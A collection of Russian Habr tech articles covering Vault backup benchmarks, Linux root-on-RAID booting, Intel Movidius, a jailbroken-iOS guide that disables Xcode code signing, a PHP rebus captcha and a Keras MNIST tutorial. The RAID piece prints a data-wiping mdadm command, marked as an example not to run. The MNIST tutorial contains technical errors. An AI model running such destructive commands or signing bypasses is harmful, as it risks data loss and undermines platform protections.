5. С созданным бакетом можно работать: например, скачать его содержимое при помощи `gsutil`, заархивировать все данные и отправить на долгосрочное хранение.
В зависимости от количества ключей продолжительность бэкапа может сильно изменяться: от нескольких минут и практически до бесконечности. Ниже будет приведена таблица с примерными значениями.
Скриншоты страницы при создании трансфера и после завершения:
3. PostgreSQL
-------------
Базу в PostgreSQL достаточно забэкапить любыми доступными для этой СУБД способами — не сомневаюсь, что они хорошо известны инженерам, уже работающим с PgSQL. Инструкции по выполнению операций для настройки бэкапов и восстановления данных на нужный момент времени (PITR, Point-in-Time Recovery) описаны в [официальной документации проекта](https://www.postgresql.org/docs/13/continuous-archiving.html). Также хорошую инструкцию можно найти в [этой статье от Percona](https://www.percona.com/blog/2018/06/28/faster-point-in-time-recovery-pitr-postgresql-using-delayed-standby/).
Не останавливаясь на технических деталях по этим операциям (они уже раскрыты в многочисленных статьях), отмечу, что у PostgreSQL получился заметно более быстрый бэкап, чем у вариантов выше. Для простоты действий, мы замеряли бэкап и восстановление обычными `pg_dump` и `pg_restore` *(да, это упрощенное измерение, однако использование схемы с PITR не повлияет значительно на скорость)*.
4. Integrated Storage (Raft)
----------------------------
Однако обзор не был бы полным без самого удобного и простого на сегодняшний день бэкенда — Raft. Благодаря тому, что Raft полностью дублирует все данные на каждый из узлов, выполнять снапшот можно на любом сервере, где запущен Vault. А сами действия для этого предельно просты.
Для создания снимка необходимо:
. Зайти на сервер/pod, где запущен Vault, и выполнить команду:
```
# vault operator raft snapshot save backup.snapshot
```
2. Забрать файл `backup.snapshot` (заархивировать и перенести в место для хранения бэкапов).
Для восстановления команду на сервере с Vault надо заменить на:
```
# vault operator raft snapshot restore backup.snapshot
```
Как работать с Raft и со снапшотами, хорошо описано в [официальной документации](https://learn.hashicorp.com/tutorials/vault/raft-storage).
Простой бенчмарк
----------------
Не претендуя на полноценное исследование о производительности, сделаем простой замер скорости создания бэкапов и восстановления из них для всех упомянутых бэкендов для Vault.
### Загрузка данных в Vault
Перед началом тестирования загрузим данные в Vault. Мы для этого использовали [официальный репозиторий](https://github.com/hashicorp/vault-guides.git) от HashiCorp: в нем есть скрипты для вставки ключей в Vault.
Протестируем на двух коллекциях: 100 тысяч и 1 млн ключей. Команды для первого теста:
```
export VAULT_ADDR=https://vault.service:8200
export VAULT_TOKEN=YOUR_ROOT_TOKEN
vault secrets enable -path secret -version 1 kv
nohup wrk -t1 -c16 -d50m -H "X-Vault-Token: $VAULT_TOKEN" -s write-random-secrets.lua $VAULT_ADDR -- 100000
```
Эту операцию проделаем для всех инсталляций Vault, а затем повторим её для другого количества ключей.
### Результаты
После загрузки данных мы сделали бэкап для всех 4 бэкендов. Бэкап для каждого hosted-бэкенда снимался на однотипной машине (4 CPU, 8 GB RAM).
Результаты сравнения по бэкапу и восстановлению:
| | | | | |
| --- | --- | --- | --- | --- |
| | 100k backup | 100k restore | 1kk backup | 1kk restore |
| Consul | 3.31s | 2.50s | 36.02s | 27.58s |
| PosgreSQL | **0.739s** | 1.820s | **4.911s** | 24.837s |
| GCS\* | 1h | 1h24m | 12h | 16h |
| Raft | 1.96s | **0.36s** | 22.66s | **4.94s** |
*\* Восстановление бэкапа в GCS может происходить в нескольких вариантах:*
1. *Мы просто переключаем Vault на бэкапный бакет. В таком случае достаточно перезапустить Vault с новым конфигом и все сразу же заработает.*
2. *Загрузить файлы бэкапа в бакет через утилиту* `gsutil` *и уже после этого переключать. Результаты для такого варианта будут зависеть от количества файлов и их размера — в таблице приведен результат именно для такого варианта.*
**NB**. В этом мини-тестировании сравниваются решения разного рода: single-экземпляр PostgreSQL против кластеров Consul и Raft против сетевого распределённого хранилища (GCS). Это может показаться не совсем корректным, потому что у таких бэкендов и разные возможности/свойства (отказоустойчивость и т.п.). Однако данное сравнение приведено исключительно как примерный ориентир — для того, чтобы дать **понимание порядковой разницы в производительности**. Ведь это зачастую является одним из факторов при выборе того или иного способа.
Выводы
------
PostgreSQL занимает уверенное первое место по **скорости** создания бэкапа. Raft не так сильно отстает от лидера на небольшом объеме секретов, но разница заметно возрастает при увеличении количества данных. Однако в то же время Raft явно лидирует в скорости восстановления.
Если сравнивать **удобство**, то Raft и Consul — максимально простые: для выполнения бэкапа и восстановления достаточно выполнить буквально одну команду. GCS же предоставляет встроенный функционал в UI для копирования бакетов: на мой вкус, это немного сложнее, однако для других пользователей может быть плюсом, что все действия выполняются мышкой в браузере. Но в GCS есть существенная проблема с отсутствием гарантий по времени создания снапшотов: одинаковый набор данных может бэкапиться как за 1 час, так и за 3-4 часа.
Помимо производительности и удобства есть и другой критерий — **надежность**. Вывод, казалось бы, довольно банален: чем менее надежен бэкенд, тем легче его бэкапить. Хотя Vault сам по себе позиционируется как приложение категории cloud native, его бэкап полностью зависит от выбранного бэкенда, и во многих случаях мы получим простой, что недопустимо для такого важного сервиса:
* В Consul можно ожидать проблем с чтением и записью при бэкапе/восстановлении данных.
* А у PostgreSQL — при восстановлении.
* У GCS — проблема другого характера: нет гарантий на скорость копирования.
***UPD****. Дополнение к GCS по информации от Oleksandr Melnyk (за что ему большое спасибо!). С этим решением есть и другие проблемы: сложно делать бэкапы чаще, чем раз в сутки; не хватает метрик и логов чтобы построить алертинг и проанализировать время выполнения и ошибки задания; затруднительно восстановить объекты по определенной дате.*
Получается, что все эти решения имеют серьёзные недостатки, которые могут быть недопустимы в production. Понимая это, в HashiCorp и создали своё оптимальное решение — Integrated Storage (Raft). В нём получается делать бэкапы полностью беспростойно и при этом быстро.
В итоге: если вам важна максимальная скорость для снятия и восстановления бэкапов, то подойдут PostgreSQL и Raft. В первом случае, однако, надо повозиться с удобством: чтобы все правильно настроить и автоматизировать, придется потратить время (и иметь экспертизу). Наш текущий выбор пал на Integrated Storage (Raft) как самый простой в использовании и надежный бэкенд.
P.S.
----
Читайте также в нашем блоге:
* «[Сравниваем производительность HashiCorp Vault с разными бэкендами](https://habr.com/ru/company/flant/blog/540836/)»;
* «[Как мы Elasticsearch в порядок приводили: разделение данных, очистка, бэкапы](https://habr.com/ru/company/flant/blog/490026/)». | https://habr.com/ru/post/558910/ | null | ru | null |
# Загрузка Linux с корнем на RAID
Для того, чтобы загрузить ядро linux с корневой файловой системой лежащей на RAID-массиве нужно передать ядру следующие параметры (рабочий пример для Grub). Значимыми для нас опциями являются первая и вторая строка параметров.
`title Gentoo Linux 3.0.8 Hardened
kernel (hd0,0)/linux-3.0.8-hardened/linux \
root=/dev/md0 \
md=0,/dev/sda1,/dev/sdc1 \
rootfstype=ext4 \
rootflags=nodelalloc,data=ordered,journal_checksum,barrier=1,acl,user_xattr \
panic=15 \
vga=792`
Значения параметров:
**1. root=/dev/md0** задает имя файла устройства с корневой ФС.
**2. md=0,/dev/sda1,/dev/sdc1**
На этом параметре хотелось бы остановиться подробнее. Он имеет следующий формат:
`md=md_device_number,raid_level,chunk_size_factor,fault_level,dev0,dev1,...,devn`
* **md\_device\_number** — номер md-устройства. Например, 0 означает /dev/md0, 1 это /dev/md1. Прошу обратить внимание — это именно НОМЕР устройства, а не количество дисков входящих в массив, как иногда встречается в описаниях в Сети.
* **raid\_level** — уровень RAID. Является обязательным для линейного режима (значение -1) и RAID-0 (значение 0). Для остальных типов массивов информация берётся из суперблока и это значение должно быть опущено.
* **chunk\_size\_factor** — задает размер чанка. Минимальное значение 4кб (4k).
* **fault\_level** — насколько я понял из документации, этот параметр игнорируется драйвером MD (нафига тогда предусматривали?)
* **dev0,...,devn** — список устройств, входящих в массив.
Есть еще один важный момент. В документации заявлено, что драйвер поддерживает версии суперблока 0.90.0 и md-1.
Но загрузится с RAID-1 с версией суперблока 1.2, который создается mdadm по-умолчанию у меня не получилось. Пришлось пересоздавать массив с версией 0.90.0, после чего загрузка прошла успешно. Возможно, в виду имелась поддержка версии 1.0, за исключением версий 1.1 и 1.2.
Создать массив с суперблоком версии 0.90 можно указав mdadm ключ --metadata=0.90, например так:
`$ mdadm --create /dev/md0 -n 2 -l 1 --metadata=0.90 /dev/sd[ac]1`
Если массив уже создан, но суперблок имеет версию 1.2, изменить его на версию 0.90 можно только создав новый массив указанной выше командой, и перенеся данные со старого массива на новый. Т.е. бэкап данных ОБЯЗАТЕЛЕН!
Сейчас объясню почему. Я специально проверил возможность замены суперблока с 1.2 на 0.90 без потери данных на тестовом массиве. Забегая наперед скажу, что такой возможности нет. Во всяком случае у меня не получилось. Если знаете как это сделать — расскажите, буду признателен.
Теоретически, как можно было бы подумать, можно затереть суперблок командой:
`#!!! Не выполняйте следующие две команды на реальном массиве. Это пример !!!
$ mdadm --zero-superblock /dev/sd[ac]1`
и создать новый массив без синхронизации дисков (--assume-clean), но версии 0.90 командой:
`$ mdadm --create /dev/md0 --assume-clean -n 2 -l 1 --metadata=0.90 /dev/sd[ac]1`
Это работает. Массив создается, таблица разделов остается (на массиве был создан один раздел с ext4), но файловая система (ext4) созданная ранее (до очистки суперблоков) отказывается монтироваться, ругаясь на поврежденный суперблок. После сравнения суперблоков этой ФС в массивах v1.2 и v0.90 оказывается что они различаются. Причем не сохраняется ни главный, ни резервные суперблоки (в 1 блоке и в 8193). Таким образом даже команда
`$ mount -o sb=8193,nocheck -t ext4 /dev/md0 /mnt/test`
не спасёт. Т.е. для Ваших данных смена версии суперблока RAID-массива прошла х… В общем, плохо.
Поэтому лучше, и главное — безопаснее, создать новый массив и перенести данные на него.
К слову сказать, восстановление поврежденного суперблока той же версии (допустим был массив с версией 1.2, и восстанавливаете Вы поврежденный суперблок той же версии) двумя приведенными выше командами работает великолепно и данные остаются в порядке. Благодаря ключу --assume-clean, который создает только новые суперблоки на каждом диске массива, а сами данные не трогает.
[Документация на драйвер md (англ.)](http://kernel.org/doc/Documentation/md.txt "Документация на драйвер md") | https://habr.com/ru/post/133059/ | null | ru | null |
# Использование Intel Movidius для нейронных сетей
Введение
--------
Мы занимаемся разработкой глубоких нейронных сетей для анализа фото, видео и текстов. В прошлом месяце мы купили для одного из проектов очень интересную штуковину:
[Intel Movidius Neural Compute Stick](https://developer.movidius.com/).
Это специализированное устройство для нейросетевых вычислений. По сути, внешняя видеокарточка, заточенная под нейронные сети, очень компактная и недорогая (~$83). Первыми впечатлениями от работы с Movidius’ом мы и хотим поделиться. Всех заинтересовавшихся прошу под кат.
Вычислительные мощности устройства
----------------------------------
В плане вычислений нейронки чрезвычайно прожорливы: для их обучения нужны GPU, а для использования в реальных задачах – тоже GPU или мощные CPU. Movidius NCS позволяет использовать глубокие нейросети на устройствах, которые были первоначально на это не рассчитаны, например: Raspberry Pi, DJI Phantom 4, DJI Spark. Речь идёт только про этап предсказания (inference заранее обученной сети): обучение нейросетей на Movidius пока что не поддерживается.
Производительность чипа – около 100 гигафлопс, 10^9 FLOPS, (это примерно соответствует уровню топовых суперкомпьютеров начала 90ых, сейчас это порядка сотен петафлопс, 10^15).
*Для справки: FLOPS – это количество вычислительных операций или инструкций, выполняемых над операндами с плавающей точкой (FP) в секунду. Для углубления в тему советую интеловскую [статью](https://habrahabr.ru/company/intel/blog/144388/).*
Железка построена на базе чипа Myriad 2. В конфигурацию Myriad 2 входит 12 специализированных программируемых векторных процессоров. Компоненты SoC подключены к высокоскоростному внутреннему соединению, работающему с минимальными задержками. Myriad 2 позиционируется как сопроцессор совместно с процессором приложений в мобильных устройствах, или как автономный процессор в устройствах носимой или встраиваемой электроники.
*Сам процессор Myriad 2*
Ну а в форм-факторе флешки (Neural Compute Stick) его можно использовать для встраивания нейросетей в беспилотники, например, вместе с Raspberry Pi.
Приступим к установке и запуску первой программы на NCS
-------------------------------------------------------
#### Что нам понадобится
* Intel Movidius. Узнать, где он продаётся, можно по [ссылке](https://developer.movidius.com/buy). Мы брали на Амазоне.
* Ubuntu 16.04 LTS или Raspbian OS. Официально поддерживаются только они, но в принципе можно попробовать использовать и на других линуксах.
* SDK с официального репозитория компании. Его мы скачаем дальше из консоли.
* Экспортированный из Tensorflow или Caffe бинарник с графом весов нейросети. Последняя версия Movidius поддерживает только форматы моделей Tensorflow или Caffe. Поскольку мы будем запускать стандартный пример, строить самим граф нам не придётся.
#### Подготовка
Подключаем Movidius в разъем USB 3.0. Далее пишем в консоли:
```
$ git clone https://github.com/movidius/ncsdk.git
$ cd ncsdk
$ sudo make install
```
Эти команды установят:
* NCS Libraries → /usr/local/lib
* NCS Toolkit binaries → /usr/local/bin
* NCS Include files → /usr/local/include
* NCS Python API → /opt/movidius
А также добавят путь к python-либе Мовидиуса в PYTHONPATH.
#### Запустим пример
В той же папке выполним команду для построения примеров:
```
$ make examples
```
Чтобы подготовить стандартный пример – обученную на ImageNet реализацию inception\_v1 – выполним следующие команды:
```
$ cd examples/tensorflow/inception_v1
$ make all
```
Последняя команда использует описание сетки и уже обученные веса и компилирует бинарный граф, который мы можем потом уже запустить на Myriad 2 VPU.
Теперь мы запустим [тестовый скрипт run.py](https://github.com/movidius/ncsdk/blob/master/examples/tensorflow/inception_v1/run.py). Коротко расскажу, что происходит в скрипте в целом (некоторые части скрипта опущены):
```
#Подключаем библиотеки NCS, numpy, sys и opencv
from mvnc import mvncapi as mvnc
import sys
import numpy
import cv2
#/Кусок кода опущен/
#Указываем путь к бинарному графу
graph_filename = 'graph'
#Указываем путь к папке с картинкой
image_filename = path_to_images + 'mouse.jpg'
#Проверяется доступность NCS-устройства, а затем производится его открытие,
#в ином случае выкидывается ошибка
devices = mvnc.EnumerateDevices()
if len(devices) == 0:
print('No devices found')
quit()
device = mvnc.Device(devices[0])
device.OpenDevice()
#Загружается предкомпилированный бинарный граф, экспортированный из TensorFlow
#(ещё поддерживается Caffe)
with open(path_to_networks + graph_filename, mode='rb') as f:
graphfile = f.read()
#/Кусок кода опущен/
#Подключенный выше граф грузится на устройство
graph = device.AllocateGraph(graphfile)
#Изображение переводится в подходящий формат и загружается на чип
img = cv2.imread(image_filename).astype(numpy.float32)
dx,dy,dz= img.shape
delta=float(abs(dy-dx))
if dx > dy: #crop the x dimension
img=img[int(0.5*delta):dx-int(0.5*delta),0:dy]
else:
img=img[0:dx,int(0.5*delta):dy-int(0.5*delta)]
img = cv2.resize(img, (reqsize, reqsize))
img=cv2.cvtColor(img,cv2.COLOR_BGR2RGB)
#Нормализация изображения
for i in range(3):
img[:,:,i] = (img[:,:,i] - mean) * std
print('Start download to NCS...')
graph.LoadTensor(img.astype(numpy.float16), 'user object')
#Получаем результат
output, userobj = graph.GetResult()
#Далее печатаем релевантный топ по категориям и закрываем NCS-устройство
top_inds = output.argsort()[::-1][:5]
print(''.join(['*' for i in range(79)]))
print('inception-v1 on NCS')
print(''.join(['*' for i in range(79)]))
for i in range(5):
print(top_inds[i], categories[top_inds[i]], output[top_inds[i]])
print(''.join(['*' for i in range(79)]))
graph.DeallocateGraph()
device.CloseDevice()
print('Finished')
```
Когда мы собирали пример, мы вводили в консоль команду *make all*, после которой в консоль выводилась полезная информация, например, можно увидеть, как быстро данные проходят через каждый слой сети с помощью *Detailed Per Layer Profile*. Полезная для отладки и оптимизации штука.
Запускаем скрипт:
```
$ python3 run.py
```
Тестовая картинка загрузится на NCS, пройдёт через Inception, и в консоли отобразится результат распознавания (вероятностное распределение по 1000+1 категории датасета ImageNet).
**Вывод консоли**
```
Number of categories: 1001
Start download to NCS...
*******************************************************************************
inception-v1 on NCS
*******************************************************************************
674 mouse, computer mouse 0.99512
663 modem 0.0037899
614 joystick 0.00031853
528 desktop computer 0.00021553
623 lens cap, lens cover 0.0001626
*******************************************************************************
Finished
```
**Тестовая картинка***Загрузили эту фотку на Movidius и прогнали через Inception*
Видно, что сеть с ~99% уверенностью полагает, что на картинке компьютерная мышь (благодаря нашей подсказке :) ), на втором месте с близкой к 0% уверенности – модем, и так далее. Сетка права, так что поздравляем вас с первой нейронкой, успешно запущенной на этом устройстве!
Заключение
----------
В конце хотелось бы перечислить главные достоинства и недостатки устройства.
Сперва плохие новости:
* Устройство официально поддерживает работу только с Raspbian OS или Ubuntu 16.04 LTS.
* Устройство и его SDK на данный момент поддерживают только файлы с весами нейросетей в формате Caffe и Tensorflow.
* На устройстве можно делать только предсказания (inference), а обучать модели нельзя.
Хорошие новости:
* Вы можете запускать нейронки на Raspberry Pi!
* Очень простой API на python/C.
* Низкая потребляемая мощность (1 Вт), устройство питается от USB.
* Очень быстрый для такого компактного устройства: например, препроцессинг фотографии ~800х800 и прогон её через Inception\_v1 занимают ~120-130 миллисекунд.
* Есть коллекция уже готовых для запуска open-source моделей (так называемый [*Model Zoo*](https://github.com/movidius/ncappzoo)).
* Интересно, что вы можете подключить сразу несколько NCS, которые прямо из коробки будут работать в параллельном режиме. Впрочем, мы это пока не тестировали.
*Так Intel предлагает использовать Мовидиусы для ускорения вычислений*
Само собой, у данного устройства есть аналоги.
Один из них – и пока самый многообещающий – это [Gyrfalcon Technology Laceli](https://www.ixbt.com/news/2018/01/02/gyrfalcon-technology-laceli-intel-movidius.html), имеющий производительность в 28 раз больше, а энергетическую эффективность в 90 раз выше. Единственное препятствие для покупки – это то, что устройство ещё не вышло на рынок.
Еще один конкурент, который давно присутствует на рынке – это [NVIDIA Jetson TX2](http://www.nvidia.ru/object/jetson-embedded-systems-ru.html). Отличия:
* Очень разные ценовые категории (559$ против 83$)
* Разные мощности (два ядра CPU на архитектуре Denver 2, четыре ядра ARM Cortex A57 и 256-ядерный Pascal GPU против одного Myriad 2)
* Разный форм-фактор: Jetson гораздо больше, NCS компактный
* Оба устройства решают одну и ту же задачу – задачу внедрения нейронок на борт чего-либо: автомобиля, беспилотника и пр.
Если интересно, напишем в ближайшем будущем еще одну статью про использование Jetson TX2 для нейронных сетей. Спасибо за внимание и хорошего дня)
**P. S.** Intel объявил о старте [конкурса](http://wwwtc.wpengine.com/Intel-Movidius-Challenge) по оптимизации нейросетей для Intel Movidius Neural Compute Stick. Регистрация до 26 января, окончание конкурса – 15 марта. | https://habr.com/ru/post/346958/ | null | ru | null |
# Тестируем iOS8 приложения с Xcode 6.1 без Apple Developer Program Membership (Jailbreak) (Обновлено для XCode 6.4)
В конце мая 2014 года я писал подробную статью как тестировать приложения на iOS7 и Xcode 5.1.1, но не далее как два месяца назад миру был представлен iPhone 6 и iPhone 6 Plus с новой операционной системой iOS 8 и Apple изменила что-то в коде и старый «твик» более не работает. Знаю, что некоторым интересно попробовать написать приложение для iOS, чисто в познавательных целях, но 99USD платить Apple за «любознательность» не хочется. Не отчаивайтесь, не все так страшно, более того, теперь всё гораздо проще — больше не нужно создавать сертификаты и компилировать ldid для отладки.
Итак, версии софта, которые я использовал:
* OS X Mavericks 10.9.5;
* XCode 6.1 (Для XCode 6.4 необходимо сделать пару дополнительных телодвижений);
* iOS 8.1 iPhone 6 Plus.
Что же потребуется для «любознательности»? Всего то:
1. Заджейлить наше iOS устройство
2. Подготовить iOS к установке само-подписанных приложений
3. Подсоединить iOS к Xcode и настроить девайс для разработки
4. Настроить Xcode для использования само-подписанного сертификата
5. Настроить Xcode для отладки на целевом устройстве
#### Джейлим iOS
Тут в общем всё просто. На данный момент прошивка, поддающаяся взлому 8.1. Все остальное можно почерпнуть с сайта [pangu.io](http://pangu.io/).
Если нет взломанного устройства — то закрываем данный туториал и платим 99USD Apple.
#### Подготавливаем наше iOS устройство к установке само-подписанных приложений
Довольно известный факт, что того чтобы ставить само-подписанные приложения (суть взломанные) необходимо установить в Cydia так называемый AppSync. Очень рекомендую устанавливать AppSync Unified с репозитория Karen aka angelXwind <http://cydia.angelxwind.net>. В случае если установлен китайский магазин PP, очень настоятельно рекомендую установить твик "**Complete PPSync Remover**". Как пишет Karen, она в шоке как криворукие китайцы, который писали PP сделали свой PPSync.
#### Подключаем и настраиваем наше iOS устройство к Xcode
1. Запускаем Xcode
2. Цепляем iOS устройство к USB
3. Открываем окно **Devices** (Window\Devices)
4. Видим наше подключенное устройство
Интересно, но раньше, необходимо было нажимать кнопочку "**Use for development**", сейчас же Xcode при подключении нового устройства ничего не спросил, только залил туда некую инфу.
#### Настраиваем Xcode для использования само-подписанного сертификата
1. Закрываем Xcode, если он открыт.
2. Открываем Terminal
```
cd /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk
# create copy of SDKSettings.plist
sudo cp -p SDKSettings.plist SDKSettings.plist.orig
# convert to editable xml format
sudo plutil -convert xml1 SDKSettings.plist
```
3. Открываем SDKSettings.plist текстовым редактором и заменяем значение параметра "**AD\_HOC\_CODE\_SIGNING\_ALLOWED**" на "**YES**", а параметра "**CODE\_SIGNING\_REQUIRED**" на "**NO**".
4. Открываем Xcode
5. Открываем или создаем проект и идем в настройки проекта, в закладку "**Build settings**". Устанавливаем в поле "**Code Signing Identity**" значение "**Ad Hoc Code Sign**". Установить значение нужно и у "**Target**" и у "**Project**"
6. Около кнопки «Run» выбираем наше подключенное iOS устройство.
7. Жмем «Run» и Xcode транслирует исходники в исполняемый файл и загружает его в устройство.
8. Далее Xcode показывает нам следующую ошибку:
Так и должно быть, потому что отладчик мы еще не настроили, но само приложение можно уже запускать на устройстве.
#### Настраиваем Xcode для отладки приложения на целевом устройстве
1. При открытом тестируемом проекте создаем новый PropertyList файл — (File\New\File, iOS\Resource — Property List).
2. Указываем имя создаваемого файла как **Entitlements.plist**
3. Открываем только что созданный файл и добавляем туда параметр "**Can be debugged**" со значением "**YES**"
4. Идем в настройки проекта, в закладку "**Build settings**". В поле "**Code Signing Entitlements**" устанавливаем значение "**Entitlements.plist**". Установить значение нужно и у "**Target**" и у "**Project**"
5. Собираем приложение и запускаем на целевом iOS устройстве.
Обновление для **XCode 6.4**:
1. В настройках таргета проекта, во вкладке "**Info**", копируем значение параметра "**Bundle Identifier**".
2. В созданном файле **Entitlements.plist** добавляем новый параметр "**application-identifier**" и устанавливаем ему ранее скопированное значение.
Надеюсь данное руководство поможет начинающим программистам iOS просто и незатейливо попробовать свои силы в написании программ для устройств Apple. | https://habr.com/ru/post/243345/ | null | ru | null |
# Ребус captcha
После прочтения предыдуших топиков про капчу, мне пришла идея сделать ребус капчу. Конечно, использовать её в реальных проектах не очень правильно, так как пользователь будет тратить время на решение ребуса, а вы наверное знаете, как иногда раздражает даже обычные буквы с капчи ввести.
#### Ребус
Ребус включает в себя всего лишь одну методику, когда часть слова представлена в виде изображения с опреденным количеством обрезаных букв в начале или в конце. Для того, что бы одно изображение имело несколько варинтов, используется следующая структура файловой системы:
```
images/
|
+--+[image_name]/+
| +-+[image_type_1]
| |
| +-+[image_type_2]
| |
| +-+...
| |
| +-+[image_type_n]
|
|
|
|
+--+[image_name]/+
+-+[image_type_1]
|
+-+[image_type_2]
|
+-+...
|
+-+[image_type_n]
```
Например при составлении ребуса из слова «str**ea**m», программа нашла совпадение букв (частей слова) с изображением «h**ea**rt», то используемое изображение будет выбрано случайным образом из папки "/images/heart/".
#### Поиск совпадений
Поиск совпадений работает следующим образом: перебор частей загаданного слово, и поиск на совпдение со словами, которые представлены изображениями. Загаданное слово, например habrahabr, делиться на части следующим образом:
```
habrahabr
habrahab
abrahabr
habraha
abrahab
brahabr
habrah
abraha
brahab
rahabr
habra
abrah
braha
rahab
ahabr
habr
abra
brah
raha
ahab
habr
hab
abr
bra
rah
aha
hab
abr
ha
```
Поиск происходит до первого совпадения, после чего выделяются левая и правая часть слова от совпавшей, для которых так же применяется поиск.
#### Использование
```
$rebus = new rebus('path/to/image/folder');
```
Передаваемый параметр — путь к папке с изображениями, структура которой должна быть как описывалось выше.
**Настройки:**
* captchaWordsArray — массив слов, для составления ребуса
* backgroundColor — Array(r,g,b). По умолчанию — черный
* textColor — Array(r,g,b). По умолчанию — черный
* fontSize — размер шрифта. По умолчанию — 60px
* width — ширина ребуса. По умолчанию — 300px
* padding — внутренний отступ. По умолчанию — 10px
* font — используемый шрифт
* imagesHeight — высота копируемого изображения в ребус
* imagesWidth — ширина копируемого изображения в ребус
* cache — кеширование. По умолчанию — false
* rebusCacheFolder — папка для хранения кеша.
Генерация изображения:
```
$rebus->getImage($flag);
```
* $flag — усли установлен — то происходит вывод изобрежения. Если нет — функция возвращает GD ресурс. По умолчанию — true;
Полный код:
```
php
session_start();
include 'rebus.class.php';
$rebus = new rebus('images');
$rebus-captchaWordsArray = Array(
'tar',
'swap',
'sic',
'threat',
'bow',
'stream',
'steam',
'google',
'comet',
'comet',
'hot',
'wool',
'hell',
'twitter',
'chat',
'habrahabr',
'warlock',
'fold',
'soft',
'ripper',
'apple'
);
$rebus->getImage();
```
Предыдущие топики про капчу:
* [Кана-капча на PHP — это просто!](http://habrahabr.ru/blogs/php/121029/)
* [Матановая капча на PHP — это просто!](http://habrahabr.ru/blogs/php/120646/)
* [Разработка CAPTCHA своими руками](http://habrahabr.ru/blogs/php/120615/)
Для написания топика использовал: [Редактор таблиц данных из ASCII-графики](http://habrahabr.ru/blogs/ascii/121838/)
Исходник можно скачать [тут](http://dl.dropbox.com/u/28146021/rebus.rar).
Пример можно посмотреть [тут](http://www.galabol.ru/rebus/). | https://habr.com/ru/post/122081/ | null | ru | null |
# Распознавание цифр, для максимально маленьких (python/keras)
Этот пост я решил написать, для тех, кто также искал понятный код и рабочий пример, который можно было взять, вставить в гугл колаб(google colab) и сразу начать "играться" с кодом. Но не нашел. Для вас, друзья!
P.S весь код будет в конце.
Импортируем бэкэнд кераса, по началу, мы его использовать не будем, но некоторые функции нам понадобятся
```
import tensorflow as tf
```
Импортируем сам пакет машинного обучения , его и будем использовать.
```
import keras
```
Математические функции которые нам тоже понадобятся.
```
import numpy as np
```
Библиотека для вывода изображений.
```
import matplotlib.pyplot as plt
```
Для чего эта строчка? - нагуглите сами.
```
%matplotlib inline
```
Имортируем слои, вернее классы слоёв для нашей нейронной сети.
```
from keras.layers import Dense, Flatten
```
Импорт нашей последовательной модели.
```
from keras.models import Sequential
```
Импортируем набор данных MNIST для нашего обучения.
```
from keras.datasets import mnist
```
Загружаем данные функцией load\_data из названия нашего датасета mnist и разделяем наш датасет на тренировочную выборку и тестовую.
```
(X_train, y_train), (X_test, y_test) = mnist.load_data()
```
Давайте посмотрим, что за изображения у нас и в какой они форме.
```
print(X_train.shape)
```
Вот, мы видим, что X\_train представляет из себя массив данных с 60000 экземпляров картинок, которые имеют разрешение 28 на 28.
Теперь давайте посмотрим , что такое y\_train.
```
print(y_train.shape)
```
Мы видим , что это просто массив из 60000 значений не и более того.
А теперь давайте посмотрим, что же именно храниться в массивах, если X\_train - массив изображений, давайте откроем одно!
Выводим 12 изображение из массива, и это цифра 3
```
plt.imshow(X_train[12], cmap='binary')
plt.axis('off')
print(y_train[12])
```
Вот мы и видим цифра 3 и картинку с цифрой 3!
Как вы все знаете, значение пикселя может быть от 0 до 255, и если мы будем подавать в нейронную сеть такие данные. Пиксель со значением 0 и пиксель со значением 255 имеют очень разные масштабы значений. Нам очень тяжело будет учить модель.
И чтобы их "нормировать", чтобы они были от 0 до 1 в идеале, мы разделим все наше "добро" на 255.
0 / 255 = 0 , 255 / 255 = 1, а любое число в диапазоне от 0 не до 255 будет просто дробью.
```
X_train = X_train/255
X_test = X_test/255
```
Вот что мы получили:
```
print(y_train[0])
```
К сожалению, нельзя дать нейронке фото и сказать что это цифра 4, нужно это значение "векторизировать", это делается вот так:
```
y_train = keras.utils.to_categorical(y_train, 10)
y_test = keras.utils.to_categorical(y_test, 10)
```
Получилось:
```
print(y_train[0])
```
Теперь давайте напишем саму модель нейронной сети.
Инициализируем нашу модель.
```
model = Sequential()
```
Дальше создаем наш первый слой, в нём будет 32 нейрона, также нужно указать форму входимых данных.
```
model.add(Dense(32, activation='relu', input_shape=(X_train[0].shape)))
```
Ещё дальше создаем 4 нейрона с такой же функцией активации.
```
model.add(Dense(64, activation='relu'))
model.add(Dense(128, activation='relu'))
model.add(Dense(256, activation='relu'))
model.add(Dense(512, activation='relu'))
```
Мы вытягиваем данные в вектор.
```
model.add(Flatten())
```
И тут мы сравниваем вектор с вектором, по сути это так.
```
model.add(Dense(10, activation='sigmoid'))
```
Тут компилируем нашу модель, оптимайзер - адам, потому-что он очень "классный", "categorical\_crossentropy" - т.к мы определяем категории объектов.
```
model.compile(loss='categorical_crossentropy',
optimizer='adam',
metrics=['accuracy'])
```
Теперь тренируем модель:
```
model.fit(X_train, y_train, epochs=50 )
```
Мы обучили нашу нейронную сеть и теперь, давайте посмотрим на результат.
Будем использовать команду "model.evaluate", если перевести дословно - модель.оценивать
Принимает проверочный датасет и смотрим какая потеря и какая точность:
Как мы видим, точность - 96%.
Создадим переменную k и запишем туда номер изображения в датасете и будем его вызывать.
Указали цифру 6, значит цифра 4 находится под индексом 6.
```
k = 6
plt.imshow(X_test[k], cmap='binary')
plt.axis('off')
print(y_test[k])
```
Давайте укажем индекс 10, получили цифру 0.
```
k = 10
plt.imshow(X_test[k], cmap='binary')
plt.axis('off')
print(y_test[k])
```
Теперь посмотрим, как именно работает наша нейронная сеть.
```
k = 6
plt.imshow(X_test[k], cmap='binary')
plt.axis('off')
print(y_test[k])
print(
model.predict(np.array([X_test[k]]))
)
```
[0. 0. 0. 0. 1. 0. 0. 0. 0. 0.] - единичка под индексом 4 , соответственно - цифра 4.
Визуально на картинке мы тоже видим цифру 4.
Теперь давайте рассмотрим ответ нейронной сети:
[[0.0000000e+00, 9.9408084e-18, 2.8947007e-22, 2.9116518e-10, 1.0000000e+00,
4.6417094e-17, 3.7773155e-38, 5.8520163e-07,, 3.7786970e-24, 4.3130936e-07]]
\* - буква e это значение степени, рассмотрим число - 4.6417094e-17
число 4.6417094e-17 - это условно 4.6427 в минус 17 степени, это примерно 0.00000000000000004642 то есть очень маленькое число.
Посмотрим на весь массив и увидим, что есть число 0 в 0-ой степени , числа в отрицательной степени , и то, что нам нужно 1 в степени 0, любое число в нулевой степени равно единице.
